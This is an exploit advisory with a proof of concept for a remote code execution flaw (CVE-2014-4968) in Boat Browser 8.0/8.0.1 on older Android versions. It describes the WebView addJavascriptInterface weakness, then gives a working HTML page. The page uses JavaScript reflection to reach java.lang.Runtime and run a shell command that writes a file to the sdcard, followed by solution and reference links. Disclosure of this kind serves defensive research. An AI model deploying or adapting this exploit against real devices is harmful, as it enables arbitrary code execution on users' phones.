Boat Browser 8.0/8.0.1 – Remote Code Execution
<!-- .:: Remote code execution vulnerability in Boat Browser ::. credit: c0otlass social contact: https://twitter.com/c0otlass mail: c0otlass@gmail.com CVE reserved : 2014-4968 time of discovery: July 14, 2014 Browser Official site:http://www.boatmob.com/ Browser download link:https://play.google.com/store/apps/details?id=com.boatbrowser.free&hl=en version Affected : In 8.0 and 8.0.1 tested , Android 3.0 through 4.1.x Risk rate: High vulnerability Description impact: The WebView class and use of the WebView.addJavascriptInterface method has vulnerability which cause remote code in html page run in android device a related issue to CVE-2012-6636 proof of concept: //..............................................poc.hmtl............................................ --> <!DOCTYPE html> <html> <head> <meta charset="UFT-8"> <title>CreatMalTxt POC - WebView</title> <script> var obj; function TestVulnerability() { temp="not"; var myObject = window; for (var name in myObject) { if (myObject.hasOwnProperty(name)) { try { temp=myObject[name].getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null); } catch(e) { } } } if(temp=="not") { document.getElementById("log").innerHTML="this browser has been patched"; } else{ document.getElementById("log").innerHTML = "This browser is exploitabale" + "<br>" + " the poc file hase been created in sdcard ...<br>" ; document.getElementById("log").innerHTML += "we could see proccess information"+ temp.exec(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']); } } </script> </head> <body > <h3>CreatMalTxt POC</h3> <input value="Test Vulnerability" type="button" onclick="TestVulnerability();" /> <div id="log"></div> </body> </html> <!-- Solution: https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/ http://www.programering.com/a/MDM3YzMwATc.html https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=129859614 References: http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/ https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/ http://50.56.33.56/blog/?p=314 https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/ https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py --> |